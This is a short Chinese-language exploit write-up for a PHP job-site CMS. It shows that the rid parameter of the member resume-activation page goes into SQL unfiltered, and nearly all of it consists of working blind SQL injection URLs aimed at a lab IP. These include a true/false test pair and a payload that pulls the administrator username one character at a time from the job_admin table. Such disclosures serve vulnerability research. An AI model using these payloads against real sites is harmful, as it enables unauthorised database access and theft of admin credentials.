其中的$rid未经过滤带入了SQL,下面来测试,注册一个会员并登陆 访问 http://192.168.116.128/frcmsnew/member/index.php?m=person_resume&do=activate&rid=@`'` or r_id=if((1=1),9999,(select 1 from information_schema.tables))%23@`'` 如图1,查询为真,返回正常页面。
继续访问 http://192.168.116.128/frcmsnew/member/index.php?m=person_resume&do=activate&rid=@`'` or r_id=if((1=2),9999,(select 1 from information_schema.tables))%23@`'` 如图2,查询为假,页面报错。
把其中的1=1替换为我们的注射语句就行了,如查询管理员用户名的第一个字符是否为a: http://192.168.116.128/frcmsnew/member/index.php?m=person_resume&do=activate&rid=@`'` or r_id=if((ascii(substring((select a_user from job_admin limit 0,1),1,1))=97),9999,(select 1 from information_schema.tables))%23@`'`